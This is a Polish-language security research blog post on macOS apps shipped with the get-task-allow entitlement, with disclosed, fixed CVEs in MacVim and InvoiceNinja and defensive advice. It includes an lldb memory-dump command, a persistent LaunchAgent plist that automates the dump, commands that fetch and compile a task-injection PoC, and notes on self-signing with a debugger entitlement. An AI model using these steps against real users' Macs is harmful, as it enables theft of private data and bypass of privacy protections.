Pozwolić czy nie pozwolić na get-task-allow – oto jest pytanie

Artur - AFINE cybersecurity team member profile photo
Karol Mazurek
February 12, 2026
5
min read
TCC Bypass - To allow or not to get-task allow

Na początku tego roku szukałem sposobów na wykorzystanie aplikacji firm trzecich do eskalacji uprawnień TCC w systemie macOS. W tym celu pobrałem setki aplikacji z App Store oraz z różnych stron internetowych (ale tylko te, które były notarized by Apple). Dzięki temu mogłem zidentyfikować podatności na szeroką skalę. Większość z nich opiera się na wstrzykiwaniu kodu do aplikacji – zarówno przed ich uruchomieniem, jak i w trakcie działania. W ekosystemie macOS taka technika jest traktowana jako poważne zagrożenie, głównie ze względu na liczne mechanizmy ochronne, z których w tym kontekście najważniejszy jest TCC. Mówiąc o „eskalacji” i granicach bezpieczeństwa macOS, przypomniała mi się prezentacja Csaby Fitzla pt. Finding Vulnerabilities in Apple Packages at Scale. Jeśli jeszcze jej nie widziałeś, zdecydowanie warto – świetnie tłumaczy te granice. Jeśli natomiast pierwszy raz słyszysz o TCC, polecam zacząć od mojego artykułu Threat of TCC Bypasses on macOS.

W tym wpisie przyjrzymy się jednej z błędnych konfiguracji (łatwej do wywnioskowania z tytułu), która pozwala na wstrzykiwanie kodu do aplikacji, a w konsekwencji na obejście TCC. Pisząc ten tekst, zakładam, że wiesz, czym jest task injection. Jeśli jednak nie, zajrzyj do artykułu Task Injection on macOS. Miłej lektury!

Dlaczego get-task-allow jest niebezpieczne

Uprawnienie get-task-allow zostało stworzone z myślą o procesie deweloperskim, ponieważ umożliwia programistom debugowanie aplikacji. Problem zaczyna się wtedy, gdy pozostaje aktywne w finalnej wersji aplikacji – pozwala bowiem dowolnemu procesowi na Twoim Macu wstrzyknąć własny kod do procesu tej aplikacji i przejąć nad nią pełną kontrolę. W świecie macOS jest to uznawane za istotną granicę bezpieczeństwa. W uproszczeniu: App_A nie może kontrolować pamięci procesu App_B, dopóki użytkownik na to nie zezwoli (a czasami nawet to nie wystarczy – np. w przypadku aplikacji z włączonym hardened runtime). To właśnie dlatego nie możemy po prostu podłączyć debuggera LLDB do dowolnego procesu – LLDB korzysta z task_for_pid() do uzyskania portu procesu, co technicznie jest rozpoczęciem task injection. Jeżeli jednak dana aplikacja ma ustawione uprawnienie get-task-allow na true, złośliwe oprogramowanie może zrobić rzeczy, które normalnie są zablokowane:

  • Przejęcie aplikacji (App Hijacking): wstrzyknięcie własnego kodu bezpośrednio do podatnej aplikacji, co pozwala na uruchamianie dalszych ataków z zaufanego środowiska, zmianę zachowania aplikacji w locie lub wyświetlanie użytkownikowi zmodyfikowanych treści.
  • Kradzież danych: odczytanie pamięci aplikacji, w której mogą znajdować się hasła, klucze API, prywatne dokumenty czy dane finansowe.
  • Obejście TCC: przejęcie wszystkich uprawnień, które użytkownik nadał oryginalnej aplikacji i cichy dostęp do zasobów chronionych przez TCC.
  • Ucieczka z piaskownicy (Sandbox Escape): jeżeli malware działa w środowisku sandbox, a profil piaskownicy nie blokuje mach-task-name, może ono „przeskoczyć” do bardziej uprzywilejowanej aplikacji z aktywnym get-task-allow i bez ograniczeń sandboxa (choć jest tu pewien haczyk – patrz problem 2).

Jak to często bywa – obraz mówi więcej niż tysiąc słów – więc przyjrzyjmy się dwóm przykładom, które pokazują skalę tego problemu:

Wycieki danych i obejście TCC

MacVim w wersji r181 (Vim 9.1.1128) był aplikacją notarized by Apple, dystrybuowaną poza App Store, dostępną do pobrania z oficjalnej strony. Co gorsza, miał ustawione niebezpieczne uprawnienie get-task-allow:

To idealny przykład, aby pokazać zarówno wyciek informacji przetwarzanych przez aplikację, jak i obejście zabezpieczeń TCC. Wyobraźmy sobie scenariusz, w którym użytkownik korzysta z MacVim w pełni legalnie, aby uzyskać dostęp do pliku secret.txt chronionego przez TCC, znajdującego się w katalogu ~/Downloads:

  • Użytkownik klika Open.
  • Następnie wybiera plik z katalogu Downloads.
  • Potwierdza dostęp, klikając Allow, dzięki czemu aplikacja MacVim otrzymuje uprawnienia TCC do katalogu Downloads.
  • Od tego momentu MacVim ma stały dostęp do wszystkich plików w folderze Downloads. Ta informacja jest zapisana w bazie danych TCC użytkownika pod kluczem kTCCServiceSystemPolicyDownloadsFolder.

Od teraz malware może użyć tej aplikacji jako proxy, aby dostać się do plików w tym katalogu lub zrzucić pamięć procesu i odczytać przetwarzane dane. Dla uproszczenia nie będę tutaj przygotowywał shellcode’u – wystarczy skorzystać z LLDB. Poniższe polecenie, dzięki uprawnieniu get-task-allow, podłącza się do procesu i zapisuje pełną pamięć w pliku /tmp/mem_dump:

lldb -p pgrep MacVim -o "process save-core /tmp/mem_dump" -o exit

Zrzut pamięci pozwala odzyskać zawartość chronionego przez TCC pliku secret.txt, jeśli był on otwarty przez aplikację:

Co więcej, złośliwe oprogramowanie mogłoby zautomatyzować ten proces, wykorzystując LaunchAgent, aby automatycznie przejmować uprawnienia TCC odziedziczone po MacVim:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.crimson.bypass</string>
    
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>PID=$(pgrep -f "/Applications/MacVim.app/Contents/MacOS/Vim -g") && if [ ! -z "$PID" ]; then /usr/bin/lldb -p $PID -o "process save-core /tmp/mem_dump" -o exit; fi</string>
    </array>
    
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

Gdy aplikacja nie ma uprawnienia get-task-allow, taki atak jest niemożliwy:

Dodatkowo, jeśli aplikacja jest podpisana z włączonym Hardened Runtime, nawet użytkownik z uprawnieniami root nie może podłączyć debuggera:

Ta podatność została naprawiona i otrzymała identyfikator CVE-2025-8597.

Przejęcie kodu aplikacji

MacVim to przykład aplikacji dystrybuowanej poza App Store, ale także w samym App Store znajdziemy podatne aplikacje. Dobrym przykładem jest InvoiceNinja w wersji 5.0.172 (172). Tutaj pokażę, jak można zmodyfikować zachowanie aplikacji w czasie działania. Ten sam mechanizm pozwala na obejście TCC, ale najważniejsze jest to, że malware może robić wszystko w kontekście aplikacji. To oznacza, że:

  • Jeżeli podatna aplikacja łączy się z serwerami chronionymi panelami uwierzytelniania, złośliwe oprogramowanie może przeprowadzić lateral movement i uzyskać dostęp do tych zasobów.
  • Może całkowicie zmienić wyświetlane treści – np. w aplikacji do przelewów wysłać pieniądze na inne konto niż wybrane przez użytkownika.

Możliwości jest naprawdę sporo. Dla prostego przykładu PoC wykorzystam skrypt task_for_pid_inject.c, który wypisze w kontekście aplikacji komunikat „pwn” oraz utworzy plik /tmp/research_success.

wget https://raw.githubusercontent.com/Karmaz95/Snake_Apple/9f195f010bb1824096b17d308676b17214d59707/X.%20NU/custom/mach_ipc/task_for_pid_inject.c
clang task_for_pid_inject.c -o task_for_pid_inject

Ta podatność również została naprawiona i zarejestrowana jako CVE-2025-8700.

Małe niedopatrzenie

Łatwo jest obwiniać samych deweloperów aplikacji – i faktycznie ponoszą oni część odpowiedzialności – ale większy problem leży po stronie Apple. Cały ekosystem tej firmy opiera się na obietnicy bezpieczeństwa wynikającego z dokładnego procesu weryfikacji. Aplikacje z tak poważną luką nigdy nie powinny zostać dopuszczone do App Store ani otrzymać statusu notarized. Dlatego byłem mocno zaskoczony, kiedy zobaczyłem, że uprawnienie get-task-allow jest ustawione na true w aplikacjach notarized. Ale gdy pobrałem jedną z takich aplikacji prosto z App Store, dosłownie zabrakło mi słów. Skontaktowałem się z Apple z pytaniem, czy to normalna praktyka, i – jak wynika z odpowiedzi – wygląda na to, że firma nie widzi w tym problemu.

Zgłoszenie, które wysłałem, dotyczyło przede wszystkim błędów w procesie weryfikacji aplikacji i systemie notarization, które powinny odrzucać lub przynajmniej oznaczać aplikacje z niebezpiecznymi uprawnieniami developerskimi w wersjach produkcyjnych. Jednak zauważyłem kilka dodatkowych problemów wynikających z tego „drobnego” niedopatrzenia.

W kolejnych punktach je omówimy.

Problem 1: Ominięcie Hardened Runtime

Jak już wcześniej widzieliśmy, nawet użytkownik z uprawnieniami root nie ma możliwości uzyskania dostępu do portu procesu w aplikacji chronionej przez Hardened Runtime. Poniżej przykład aplikacji MacVim bez uprawnienia get-task-allow, ale z włączonym Hardened Runtime:

Natomiast podatna wersja MacVim jest podpisana z włączonym Hardened Runtime, a jednocześnie ma ustawione get-task-allow = true:

To w praktyce oznacza, że ochrona Hardened Runtime zostaje ominięta, a do tego nie potrzebujemy nawet uprawnień root. Najprawdopodobniej zrobiono to, aby umożliwić deweloperom debugowanie programów tworzonych w Xcode przy włączonym Hardened Runtime:

Jak pokazano powyżej, możemy po prostu użyć lldb, aby podłączyć się do procesu nawet w przypadku restrykcji, a następnie wstrzyknąć kod w jego kontekst. To kolejny powód, dla którego aplikacje z tym uprawnieniem nie powinny być dystrybuowane.

Problem 2: Samopodpisywanie

Drugi problem to mechanizm, który – po dłuższym testowaniu – wydaje się bardziej środkiem ochronnym. Co się stanie, jeśli spróbujemy uzyskać port procesu za pomocą własnego narzędzia? Nie zadziała. Poniżej prosty przykład programu, który próbuje zdobyć port procesu – działa dokładnie tak samo, jak lldb na początku, a bez portu procesu nie da się ani wstrzyknąć kodu, ani odczytać pamięci docelowej aplikacji:

// clang check_tfp.c -o check_tfp
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <unistd.h>

static boolean_t verify_task_port(mach_port_t task) {
    task_flavor_t flavor = TASK_BASIC_INFO;
    task_basic_info_data_t info;
    mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
    kern_return_t kr = task_info(task, flavor, (task_info_t)&info, &count);
    return (kr == KERN_SUCCESS);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <pid>\n", argv[0]);
        return 1;
    }

    pid_t target_pid = atoi(argv[1]);
    mach_port_t task;
    kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
    
    // Case 1: Could not get task port
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed to get task port for PID %d (error: 0x%x)\n", target_pid, kr);
        return 1;
    }

    // Case 2: Got task port but it's unusable
    if (!verify_task_port(task)) {
        printf("[-] Got task port for PID %d but port is unusable\n", target_pid);
        return 1;
    }

    // Case 3: Got task port and it's usable
    printf("[+] Task port for PID %d acquired and verified\n", target_pid);
    return 0;
}

Dlaczego więc lldb może to zrobić, a nasz własny program nie? Wynika to z tego, że lldb korzysta z procesu debugserver, który jest uprzywilejowany i komunikuje się z docelową aplikacją. Szerzej opisywałem to we wpisie Debug Entitlement – lldb & debugserver.

Debugserver posiada uprawnienie com.apple.private.cs.debugger, które pozwala na korzystanie z task_for_pid() wobec procesu z ustawionym get-task-allow. Czy to oznacza, że malware nie może wykorzystać get-task-allow? Może – ale będzie to trudne, jeśli działa w środowisku sandboxowym, chyba że proces ma uprawnienie cs.debugger lub może ponownie podpisać inne binarki (lub siebie). Obecnie istnieją dwa powiązane uprawnienia:

  • com.apple.private.cs.debugger
  • com.apple.security.cs.debugger

Pierwsze jest uprawnieniem prywatnym i nie można go użyć, ale drugie już tak. Aplikacja działająca poza sandboxem może podpisać siebie lub inny program tym uprawnieniem, udając debugger. W efekcie może zdobyć port procesu – i jak widać poniżej, działa to bez problemu:

This image has an empty alt attribute; its file name is image-20-1024x324.png

Podsumowując – dla złośliwego oprogramowania działającego w sandboxie wykorzystanie podatności get-task-allow nie jest proste. Jednak w środowisku poza sandboxem możliwe jest samopodpisanie aplikacji z użyciem dostępnego uprawnienia i pełne skorzystanie z tej luki.

Najprawdopodobniej było to zaplanowane z myślą o zewnętrznych narzędziach debuggera, ale efekt jest taki, że sytuacja wprowadza sporo zamieszania.

Problem 3: Komunikat o dostępie do Developer Tools

Ostatnia kwestia dotyczy tego, że wywołanie task_for_pid() uruchamia komunikat Developer Tools Access (DTA). Gdy próbujemy debugować dowolny, niezabezpieczony (unhardened) proces, pojawia się następujący monit (jeszcze przed uzyskaniem portu procesu):

This image has an empty alt attribute; its file name is image-22-1024x470.jpg

To samo dotyczy naszego narzędzia check_tfp, ale tylko wtedy, gdy wcześniej zostanie ono podpisane z uprawnieniem com.apple.private.cs.debugger. Według dokumentacji, gdy użytkownik zaakceptuje ten monit, system przez kolejne 10 godzin nie prosi o ponowne potwierdzenie. Co więcej, wygląda na to, że ten monit w ogóle się nie pojawia, jeśli docelowy proces ma ustawione uprawnienie get-task-allow.

Jak w wielu innych przypadkach, Apple nie wspomina o tym fakcie w dokumentacji.

A co na to użytkownik root?

Dla procesu działającego z uprawnieniami root sytuacja wygląda inaczej. Malware uruchomione z kontekstu roota nie wyświetli monitu DTA i nie potrzebuje uprawnienia com.apple.private.cs.debugger i może wykonać task_for_pid():

  • wobec podatnego procesu z włączonym get-task-allow, nawet jeśli ma włączony Hardened Runtime,
  • oraz wobec wszystkich niezabezpieczonych (unhardened/unrestricted) procesów.

Jeśli z tego artykułu mielibyście zapamiętać tylko jedną rzecz, niech to będzie to: aby zabezpieczyć aplikację przed atakami typu injection, należy nie tylko wyłączyć uprawnienie get-task-allow, ale także włączyć Hardened Runtime.

Na zakończenie

Mam nadzieję, że po lekturze tego artykułu każdy deweloper zrozumiał, dlaczego zalecenie aby nie używać get-task-allow to nie żart, a poważna lekcja. Mam też nadzieję, że Apple wyciągnie z tego wnioski i usprawni proces weryfikacji aplikacji pomimo tego, że raport zamknięto jako „oczekiwane zachowanie”. Dziękuję również Wojciechowi Regule (@_r3ggi), który podczas Oh My Hack 2024 zwrócił mi uwagę „Spójrz na App Store – wiele aplikacji nie ma nawet włączonego Hardened Runtime.” I rzeczywiście, odkryłem tam jeszcze więcej zaskakujących sytuacji, niż się spodziewałem. Nie przypuszczałem, że bezpieczeństwo procesu dystrybucji aplikacji jest aż tak słabe.

Referencje

FAQ

Questions enterprise security teams ask before partnering with AFINE for security assessments.

No items found.

Miesięczny Raport Ofensywny

Dołącz do naszego newslettera! Co miesiąc ujawniamy nowe zagrożenia w oprogramowaniu biznesowym, wskazujemy kluczowe luki wymagające uwagi oraz analizujemy trendy w cyberbezpieczeństwie na podstawie naszych testów ofensywnych.

Klikając "Subskrybuj", potwierdzasz, że zgadzasz się z naszymi Zasadami i Warunkami.
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Gradient glow background for call-to-action section